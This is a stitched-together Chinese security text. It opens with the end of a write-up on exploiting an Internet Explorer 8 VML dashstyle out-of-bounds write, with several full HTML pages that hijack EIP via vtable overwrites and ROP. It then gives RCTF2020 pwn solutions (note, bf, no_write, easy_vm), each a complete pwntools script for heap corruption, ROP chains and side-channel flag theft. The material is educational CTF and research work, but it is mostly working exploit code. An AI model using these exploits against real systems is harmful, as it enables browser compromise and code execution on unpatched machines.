</html>
* * *
#### 0x02.4b 劫持EIP
后续覆盖虚表指针劫持EIP部分，可能是由于笔者环境问题，并未完成。重新搭建环境如下：
* OS版本：Windows 7 Service Pack 1 x86
* Internet Explorer版本：8.0.7601.17514
* VGX.dll版本：8.0.7600.16385
该环境下对象布局稍有不同：
可以有两种不同的方式覆盖虚表指针。
##### `vgx!COAReturnedPointsForAnchor::vftable`：
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
##### `vgx!COAShape::vftable`：
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
location.reload();
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
第一种利用方式若要将栈转移到堆上(没有找到类似`xchg ecx,esp`直接交换ECX与ESP的gadget)，需要再配合两次漏洞进行越界写：
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
与之相配合堆上gadgets如下：
而第二种覆盖方式，直接用`xchg eax,esp;ret`这样的gadget即可。两种利用方式效果展示：
## 0x03 参阅链接
* [Vector Markup Language (VML)—Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/vml/web-workshop---specs---standards----introduction-to-vector-markup-language--vml-)
* [Shape Element (VML)—Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/vml/shape-element--vml)
* [VML Stroke Element—Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-stroke-element)
* [VML DashStyle Attribute](https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-dashstyle-attribute)
* [VML教程—美洲豹](http://www.t086.com/code/vml/index.html)
* [<meta>—W3school ](https://www.w3school.com.cn/tags/tag_meta.asp)
* [VUPEN Blog](https://web.archive.org/web/20130608020050/http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php)
* [Hpasserby Blog](https://hpasserby.top/post/ef2727d8.html) | 社区文章 |
# RCTF2020部分PWN题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上周肝了两天RCTF，最近闲下来好好做了下其中的几道题，这里写一下它们的题解
## note
### 程序逻辑
很典型的菜单题，bss处有个全局变量被设置为0x996，在New的时候会比较`0x359 *
sz和global_money`前者小于等于后者方可进行`calloc`分配，这里很明显可以通过`0x10000000000000000/0x359+1`进行绕过，当然，因为这个size过大，calloc分配失败会返回0，但是这里并不影响将这个`sz<<6`写入`global_money_list[i]`，在`Sell`的时候让`global_money`加回`global_money_list[i]`，即可将其改写成一个非常大的数字，足以我们分配常规大小的堆块。
.data:0000000000004010 global_money dq 996h ; DATA XREF: New+C↑r
__int64 __usercall New@<rax>(__int64 a1@<rbp>)
{
signed int idx; // [rsp-1Ch] [rbp-1Ch]
__int64 sz; // [rsp-18h] [rbp-18h]
__int64 chunk_addr; // [rsp-10h] [rbp-10h]
__int64 v5; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v5 = a1;
printf_0("Your money: %lldn");
printf_0("Index: ");
idx = read_int1((__int64)&v5);
if ( idx > 13 || *((_QWORD *)&global_chunk_lis + 3 * idx) )
return puts_0();
printf_0("Size: ");
sz = read_int1((__int64)&v5);
if ( 0x359 * sz > (unsigned __int64)global_money )
return puts_0();
*((_QWORD *)&global_sz_list + 3 * idx) = sz;
global_money_lis[3 * idx] = sz << 6;
global_money -= 0x359 * sz;
chunk_addr = calloc_0(1LL, sz);
if ( chunk_addr )
*((_QWORD *)&global_chunk_lis + 3 * idx) = chunk_addr;
return puts_0();
}
//
_QWORD *__usercall Sell@<rax>(__int64 a1@<rbp>)
{
_QWORD *result; // rax
signed int v2; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
printf_0("Index: ");
v2 = read_int1((__int64)&v3);
if ( v2 > 13 )
return (_QWORD *)puts_0();
free_0();
global_money += global_money_lis[3 * v2];
*((_QWORD *)&global_chunk_lis + 3 * v2) = 0LL;
*((_QWORD *)&global_sz_list + 3 * v2) = 0LL;
result = global_money_lis;
global_money_lis[3 * v2] = 0LL;
return result;
}
继续看，这里main函数的判断判断了上界不超过7，可以发现这里选项6和7有两个后门。通过后门6可以构造chunk
overlapping，选项7可以溢出写0x20字节，进而可以覆写下一个堆块的size和fd(如果是空闲堆块)，可以利用它进行UAF。
__int64 BackDoor_6()
{
__int64 v1; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
if ( qword_4060 )
return puts_0();
if ( (unsigned __int64)global_money <= 0x996856 )
{
puts_0();
exit_0(0LL);
}
global_money -= 0x996857LL;
qword_4068 = 0x60LL;
qword_4070 = 0x996857LL;
qword_4060 = malloc_0(0x50LL);
puts_0();
read_chunk((__int64)&v1, qword_4060, 0x60); // 可以改下一块chunk的size
return puts_0();
}
//
__int64 __usercall BackDoor_7@<rax>(__int64 a1@<rbp>)
{
__int64 result; // rax
int v2; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
puts_0();
if ( dword_4018 != 1 )
return puts_0();
--dword_4018;
printf_0("Index: ");
result = read_int1((__int64)&v3);
v2 = result;
if ( (signed int)result <= 12 )
{
result = *((_QWORD *)&global_chunk_lis + 3 * (signed int)result);// UAF
if ( result )
{
puts_0();
result = read_0(0LL, *((_QWORD *)&global_chunk_lis + 3 * v2), *((_QWORD *)&global_sz_list + 3 * v2) + 0x20LL);
}
}
return result;
}
### 漏洞分析
题目的libc环境是2.29，我们先通过之前提到的New+Sell将global_money改大，进而任意堆块分配，注意calloc是不走tcache的，我们通过后门6构造chunk
overlapping，然后泄露libc，进而构造fast
bin的UAF(需要提前释放7个0x70的堆块)，从而可以分配到`__malloc_hook-0x23`，使用`realloc`调节栈帧即可使用`one_gadget`
### exp.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./note')
libc_offset = 0x3c4b20
gadgets = [0xe237f,0xe2383,0xe2386,0x106ef8,0x106f04]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./note')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def Add(idx,size):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
def Show(idx):
p.recvuntil('Choice: ')
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
def Delete(idx):
p.recvuntil('Choice: ')
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
def Edit(idx,msg):
p.recvuntil('Choice: ')
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Message:")
p.send(msg)
def BackDoor_6(name):
p.recvuntil('Choice: ')
p.sendline('6')
p.recvuntil("Give a super name: ")
p.send(name)
def BackDoor_7(idx,msg):
p.recvuntil('Choice: ')
p.sendline('7')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Message:")
p.send(msg)
def exp():
#make money huge num
Add(0,0x10000000000000000/0x359+1)
Delete(0)
#now we can rand calloc
#leak libc
Add(0,0x50)
Add(1,0x368)
Add(2,0x68)
Add(3,0x68)
for i in range(7):
Add(4+i,0x68)
Delete(0)
BackDoor_6('a'*0x50+p64(0)+p64(0x70*2+0x370+1))
for i in range(7):
Delete(4+i)
Delete(3)
Delete(1)
Add(1,0x368)
Show(2)
libc_base = u64(p.recvn(8).strip('n').ljust(8,'x00')) - 96 - libc.sym['__malloc_hook'] - 0x10
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
Add(3,0xd0)
Edit(3,'a'*0x60+p64(0)+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23)+'n')
Add(0,0x60)
Add(4,0x60)
shell_addr = libc_base + gadgets[3]
print hex(shell_addr)
realloc = libc.sym['realloc']
payload = 'a'*(0x13-8)
payload += p64(shell_addr)
payload += p64(realloc+8)
Edit(4,payload+'n')
#gdb.attach(p,'b*0x0000555555554000+0x15e0')
Add(5,0x1)
#Delete(4)
p.interactive()
exp()
## bf
### 程序逻辑
题目开了seccomp只能orw读flag。
这题模拟了`branfuck`解释器，用户输入的`code`会通过string的`allocator`，当输入code长度小于0x10时，会分配到栈上，大于的话就相当于调用malloc分配到堆上，此外还有一个`stack`供用户输入输出，其内存空间为固定大小`0x400`，根据反编译的结果可以看到`stack`后面紧挨着`code的地址`。
bf的代码可能直接看比较抽象，这里模拟了一下C语言的代码，写代码映射一下就好。
在代码中指针的加减操作均有界限检查，其中`stack_ptr`上限为`code_adddr`，下界为`stack_base`，但是这里在指针自增运算的检查中不够严谨，导致我们可以写到`code_addr`的最后一字节，从而改变了`code`的地址，可以将其改动`0xff`，这里`code_addr`和返回地址之间差值小于`0x40`，因此有机会改到返回地址从而布置rop进行orw。
/*
字符命令 等价的C语言
> ++ptr
< --ptr
+ ++(*ptr)
- --(*ptr)
. putchar(*ptr)
, *ptr = getchar()
[ while (*ptr) {
] }
*/
ptr = (char *)ptr + 1;
if ( ptr > &input_buf ) // off-bby-one
{
puts("invalid operation!");
exit(-1);
}
### 漏洞利用
这里我们利用`off-by-one`改动`code_addr`的低字节，改到返回地址处，从而在输出code的时候带出`__libc_start_main+231`，进而泄露Libc。注意我们需要将指针自增0x400，运用`[]`的循环操作输入`+[>+],.`，类似于下面代码，因为stack被初始化清空为0x400个空字节，因而可以循环0x400次，最终加到`code_addr`改其为返回地址。
++(*ptr);
while(*ptr){
++ptr;
++(*ptr);
}
*ptr = getchar()；
putchar(*ptr)；
之后我们通过二次输入布置rop到返回地址处(因为此时code地址被改到了返回地址)，同时通过上面的方式还原`code_addr`，否则析构函数会报错，从而orw读取flag。
### exp.py
环境为2.27，我看到官方的wp里还泄露了初始code地址，我这里爆破了一下，多试几次就好。
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bf')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./bf')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def exp():
#leak libc
p.recvuntil("enter your code:")
payload = '+[>+],.'
#gdb.attach(p,'b* 0x555555554000+0x1d2b')
p.sendline(payload)
raw_input()
p.send("x68")
p.recvuntil("done! your code: ")
libc_base = u64(p.recvline().strip('n').ljust(8,'x00')) - 231 - libc.sym['__libc_start_main']
log.success("libc base => " + hex(libc_base))
#make rops
p_rdi = libc_base + 0x000000000002155f
p_rsi = libc_base + 0x0000000000023e6a
p_rdx = libc_base + 0x0000000000001b96
p_rax = libc_base + 0x00000000000439c8
syscall = libc_base + 0x00000000000d2975
flag_addr = libc_base + libc.sym['__malloc_hook'] + 0x200
rops = flat([
#read flag into libc
p_rdi,0,
p_rsi,flag_addr,
p_rdx,0x8,
p_rax,0,
syscall,
#open
p_rdi,flag_addr,
p_rsi,0,
p_rdx,0,
p_rax,2,
syscall,
#read
p_rdi,3,
p_rsi,flag_addr+0x20,
p_rdx,0x20,
p_rax,0,
syscall,
#write
p_rdi,1,
p_rsi,flag_addr+0x20,
p_rdx,0x20,
p_rax,1,
syscall
])
p.recvuntil("want to continue?")
payload = 'y'+rops
payload += '+[>+],.'
p.sendline(payload)
raw_input()
p.send("x30")
p.recvuntil("want to continue?")
p.send("n./flag")
p.interactive()
exp()
## no_write
### 程序逻辑
类似于`pwnable.tw`的一道`de-aslr`，不过这题开了seccomp限制只能`open/read`，需要进行侧信道攻击。
程序很简单，一个栈溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]
init();
read_n(&v4, 0x100);
return 0;
}
### 漏洞利用
原型题的`de-aslr`预期解其实和本题并不相同，在提交的`writeup`中有一种很巧妙的方法，是通过一个汇编截断，得到一个有趣的gadget，在我们可控rbp和rbx的时候可以通过此方法实现任意地址的增加。
gdb-peda$ x/8i 0x4005e8
0x4005e8 <__do_global_dtors_aux+24>: add DWORD PTR [rbp-0x3d],ebx
0x4005eb <__do_global_dtors_aux+27>: nop DWORD PTR [rax+rax*1+0x0]
0x4005f0 <__do_global_dtors_aux+32>: repz ret
在原题中，是通过栈迁移到bss处然后调用`gets`在bss上留下libc地址再通过增加偏移得到任意Libc地址。这里我们没有gets，使用`__libc_start_main`调用`readn`也可以在bss上留下libc地址，我们通过此方法得到`__strncmp_sse42`函数地址，这里很神奇的是我们使用`strncmp`侧信道比较返回值并非字符差值，而是这个函数地址，只有直接调用它才能进行侧信道比较，这里我写了个测试demo进行测试，发现原来`strncmp`经过延迟绑定后放入got表的并非`strncmp`地址，而是`__strncmp_sse42`的地址，这一点也直接导致我们比赛时功亏一篑。
在可以进行任意libc获得之后我们使用这种方式获得`open`地址，打开flag，读到bss上，再使用add的gadget得到`__strncmp_sse42`进行单字节比较，比较之后使用`add`得到`syscall`地址，当字符命中时`eax=0`，故调用`read`等待用户输入，否则会调用一个非法系统调用`EOFError`，通过这种方式即可判断出是否得到了正确字符。
//gcc ./test.c -g -O0 -o test
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char* s = "123";
char buf[0x100];
gets(buf);
if(!strncmp(s,buf,strlen(s)))
puts("test demo");
return 0;
}
gdb-peda$ got
/home/wz/Desktop/CTF/RCTF2020/no_write/test: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601018 R_X86_64_JUMP_SLOT strncmp@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT strlen@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0000000000601038 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
gdb-peda$ x/8gx 0x0000000000601018
0x601018: 0x00007ffff7b52a90 0x0000000000400516
0x601028: 0x00007ffff7a98720 0x0000000000400536
0x601038: 0x00007ffff7a2d740 0x00007ffff7a7bd80
0x601048: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/8gx 0x00007ffff7b52a90
0x7ffff7b52a90 <__strncmp_sse42>: 0x000fbb840fd28548 0xbd840f01fa834800
0x7ffff7b52aa0 <__strncmp_sse42+16>: 0xf189d3894900000f 0x83483fe18348f889
0x7ffff7b52ab0 <__strncmp_sse42+32>: 0x83497730f9833fe0 0x0f6f0ff3447730f8
0x7ffff7b52ac0 <__strncmp_sse42+48>: 0xc0ef0f66166f0ff3 0xca740f66c1740f66
gdb-peda$ p & strcmp
$3 = (<text gnu-indirect-function variable, no debug info> *) 0x7ffff7a96cd0 <strcmp>
gdb-peda$ p & strncmp
$4 = (<text gnu-indirect-function variable, no debug info> *) 0x7ffff7a98b20 <strncmp>
gdb-peda$
### exp.py
在2.23环境下写完才发现是2.27的Libc，这题跟libc关系不大，这里的exp只改一下地址偏移即可适用于2.27
#coding=utf-8
from pwn import *
import string
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./no_write')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
chr_set = "{}_"+string.ascii_letters+string.digits
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./no_write')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
csu_end_addr = 0x40076a
csu_front_addr = 0x400750
main_addr = 0x4006e8
ret_addr = 0x00000000004004be
leave = 0x000000000040067c
#add DWORD PTR [rbp-0x3d],ebx;nop DWORD PTR [rax+rax*1+0x0];repz ret
add = 0x4005e8
libc_start_main = 0x400544
p_rdi = 0x0000000000400773
p_rbp = 0x0000000000400588
p_rsp_r3 = 0x000000000040076d
p_rbp_r4 = 0x000000000040076b
readn = 0x4006bf
p_rbx_rbp_p_4 = csu_end_addr
p_rsi_r15 = 0x0000000000400771
def csu(rbx, rbp, r12, r13, r14, r15, fake_rbp, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = ''
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x10
payload += p64(fake_rbp)
payload += 'a' * 0x20
payload += p64(last)
return payload
def exp(real_flag):
#leak libc
read_plt = elf.plt['read']
read_got = elf.got['read']
bss = elf.bss()+0x300
payload = 'a'*0x18
payload += csu(0,1,read_got,0,bss-(0x378-0x2d0),0x300,bss,leave)
sleep(0.1)
p.send(payload)
payload = p64(bss)
payload += p64(0)*4
payload += p64(leave)
payload = payload.ljust((0x378-0x2d0),'x00')
payload += p64(bss+0x300)
payload += p64(p_rdi)+p64(readn)+p64(libc_start_main)
#payload += csu(0,1,read_got,0,bss+0x300,0x100,bss+0x300,main_addr)
sleep(0.1)
#raw_input()
p.send(payload)
#leave sth on bss
#get read
off_open_target = -0x230
payload = p64(p_rbx_rbp_p_4)+p64(off_open_target,sign="signed")+p64(0x6012c8+0x3d)+p64(0)*4+p64(add)
open_addr = 0x6012c8
flag_addr = bss+0x300
payload += csu(0,1,read_got,0,bss+0x300,0x300,bss+0x300,leave)
sleep(0.1)
#raw_input()
p.send(payload)
#open
payload = "./flagx00x00"+csu(0,1,open_addr,flag_addr,0,0,bss+0x300,ret_addr)
#read
payload += csu(0,1,read_got,3,bss+0x700,0x20,bss+0x300,ret_addr)
payload += csu(0,1,read_got,0,bss+0x500,0x200,bss+0x500,leave)
sleep(0.1)
#raw_input()
p.send(payload)
#gdb.attach(p,'b* 0x400759')
off_strncmp_open = 0x7ffff7b52a90 - 0x7ffff7b04030
off_syscall_strncmp = -0x8971b
#make strncmp
payload = p64(bss+0x300)+p64(p_rbx_rbp_p_4)+p64(off_strncmp_open,sign="signed")+p64(open_addr+0x3d)+p64(0)*4+p64(add)
#strncmp
res = bss+0x700
payload += csu(0,1,read_got,0,res+0x100,0x20,bss+0x500,ret_addr)
payload += csu(0,1,open_addr,res,res+0x100,len(real_flag),bss+0x500,ret_addr)
#recover syscall
payload += p64(p_rbx_rbp_p_4)+p64(off_syscall_strncmp,sign="signed")+p64(open_addr+0x3d)+p64(0)*4+p64(add)
payload += p64(p_rdi)+p64(0)+p64(p_rsi_r15)+p64(bss+0x200)*2+p64(p_rbp)+p64(open_addr-8)+p64(leave)
sleep(0.1)
#raw_input()
p.send(payload)
sleep(0.1)
#raw_input()
p.send(real_flag)
my_flag = ""
i = 0
while True:
try:
exp(my_flag+chr_set[i])
p.recvline(timeout=0.2)
#p.interactive()
my_flag = my_flag + chr_set[i]
print my_flag
i = 0
p.close()
except EOFError:
i += 1
p.close()
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./no_write')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
## easy_vm
### 程序逻辑 && 漏洞分析
是一道典型的VM题目，子进程关闭了`0/1/2`，另外seccomp限制了不能输出，但是这里的seccomp只是针对子进程，父进程会输出子进程的结束码，我们可以借此进行数据泄露。
我们输入的操作码会在实际run之前进行合法性检查，这点很像`bpf`的模式，注意检查里当发现输入是`0xff`时会直接退出，不检查后面的输入，每当检查出一组操作，就会让操作码数量`count++`。这里的count也是后面run的轮次。
实现的VM操作指令有很多，像`mov/xor/|/add/sub/divide/mul`等，因为太多就不一一举例了，这里的问题在于`choice=12`没有进行检查，可以让我们将操作码取址的位置向后偏移至多`0xff`(当然也可以多搞几组可以增加偏移)，假设我们给一组`payload
= 0xn + 12 + valid_code + 0xff +
invalid_code`，则可以在`check`阶段得到合法指令的`count`，0xff后的指令没有检查，故可以用执行非法指令count组。这样基本所有指令都可以越界了。
else if ( choice < 13 ) // choice==12
{
chunk_addr += (unsigned __int8)ReturnValOfArg(chunk_addr + 1) + 2;
}
我们先使用越界写指令将`data_chunk`的size部分改小，free之后让它进入`unsorted
bin`，再分配可以让堆上留libc地址，再通过偏移减去得到libc基址，放入堆上的模拟寄存器中，即可在没有泄露libc地址的情况下实现任意libc地址写，同样的，因为我们的`node_addr`里有堆地址，也可以实现任意堆地址写。这里我们使用mov指令改`__free_hook`为`setcontext+53`，在堆上布置`srop`的`frame`，从而进行栈迁移，到堆上执行rop，rop的内容为读取flag，并单字节作为`exit`的状态码返回，从而在父进程单字节得到flag。
### exp.py
每条指令都加了注释，方便理解(vm指令太多懒得一条条写了)
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./vm')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vm')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def SetReg(offset,val):
idx = offset / 8
payload = p8(4)+p8(1)+p8(idx)+p64(val)
return payload
def SetRegLibcHeap(offset,val,base_reg=2):
p = SetReg(offset,val)
p += p8(0)+p8(0)+p8(offset/8)+p8(base_reg)
return p
def exp(idx):
#leak libc
p.recvuntil("give me your code: ")
payload = p8(0x0c)+p8(0xfc)
payload += p32(0)*62
payload += p32(0xffffffff)
#overwrite the heap's size and free it
#payload += p8(4)+p8(1)+p8(11)+p64(0x00000ffffffffff)
#mov data_chunk's size to rsp
#reg[8] = data_chunk+8
payload += p8(1)+p8(1)+p8(8)+p64(0x808)
#reg[0] = 0x711
payload += p8(4)+p8(0x1)+p8(0)+p64(0x421)
#*reg[8] = reg[0]
payload += p8(4)+p8(0x20)+p8(8)+p8(0)
#reg[8] = data_chunk+0x410
payload += p8(0)+p8(1)+p8(8)+p64(0x8+0x418)
#reg[1] = 0x3f1
payload += p8(4)+p8(1)+p8(1)+p64(0x3f1)
#*reg[8] = 0x3f1
payload += p8(4)+p8(0x20)+p8(8)+p8(1)
#free data_chunk
payload += p8(13)+p64(0x410)
#reg[8] = data_chunk
payload += p8(1)+p8(1)+p8(8)+p64(0x96f0-0x92e0)
#reg[9] = data_chunk_addr
payload += p8(1)+p8(1)+p8(9)+p64(0x00005555557596f0-0x5555557582a0)
payload += p8(0x4)+p8(0x10)+p8(2)+p8(9)
#now we have libc addr
#reg[2] = main_arena+96
off_free_hook_arena = libc.sym['__free_hook'] + 8 - 96 - 0x10 - libc.sym['__malloc_hook']
#reg[2] = __free_hook
payload += p8(0)+p8(1)+p8(2)+p64(off_free_hook_arena)
#reg[3] = main_arena+96
payload += p8(4)+p8(0x10)+p8(3)+p8(9)
#reg[3] = setcontext+53
off_main_arena_setcontext = libc.sym['__malloc_hook'] + 0x10 + 96 - libc.sym['setcontext'] - 53
#reg[3] = setcontext+53
payload += p8(1)+p8(1)+p8(3)+p64(off_main_arena_setcontext)
#_rsp = free_hook
payload += p8(4)+p8(8)+p8(8)+p8(2)
#[free_hook] = setcontext+53
payload += p8(0xa)+p8(0)+p8(3)
#set rops in heap
#reg[2] = libc_base
payload += p8(1)+p8(1)+p8(2)+p64(libc.sym['__free_hook']+8)
#recover heap
payload += p8(0)+p8(1)+p8(9)+p64(0x3d0)
#set rops
#set rdi = flag_addr
payload += p8(0)+p8(1)+p8(0xa)+p64(0x1100-0x108)
#mov flag_addr to +0x68
payload += p8(4)+p8(8)+p8(0x68/8)+p8(0xa)
add_rsp_0x10_p = 0x000000000003f24d
#0x000000000003f24d : add rsp, 0x10 ; pop rbx ; ret
#set rip = below
payload += SetReg(0xa8,add_rsp_0x10_p)
payload += p8(0)+p8(0)+p8(0xa8/8)+p8(2)
#set rsp = sth
payload += p8(1)*2+p8(0xa)+p64(0x1100-0x108-0x90)
payload += p8(4)+p8(8)+p8(0xa0/8)+p8(0xa)
#set rsi = 0
payload += SetReg(0x70,0)
#set other rops
p_rdi = 0x000000000002155f
p_rsi = 0x0000000000023e6a
p_rdx = 0x0000000000001b96
p_rax = 0x00000000000439c8
syscall = 0x00000000000d2975
leave = 0x0000000000054803
p_rsp = 0x0000000000003960
start_offset = 0x118
mov_rdi_gadget = 0x00000000000520e9
#0x00000000000520e9 : mov rdi, qword ptr [rdi + 0x68] ; xor eax, eax ; ret
rops = [
p_rax,2,
syscall,
p_rdi,0,
p_rsi,libc.sym['__malloc_hook']+0x100,
p_rdx,0x20,
p_rax,0,
syscall,
p_rdi,libc.sym['__malloc_hook']+0x100+idx-0x68,
mov_rdi_gadget,
libc.sym['exit']
]
for i in range(len(rops)):
if rops[i] <= 60:
base_reg = 4
else:
base_reg = 2
payload += SetRegLibcHeap(start_offset+8*i,rops[i],base_reg)
#free
payload += p8(13)+p64(0x410)
payload = payload.ljust(0xff8,'x00')
payload += "./flagx00x00"
#gdb.attach(p,'b* 0x555555554000+0x1a2a')
p.send(payload)
p.recvuntil("Exit code: ")
flag = int(p.recvline().strip('n'),16)
#p.interactive()
return chr(flag)
#exp()
idx = 0
flag = ""
for idx in range(0x20):
flag += exp(idx)
log.success(flag)
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vm')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
## best_php
### 程序逻辑
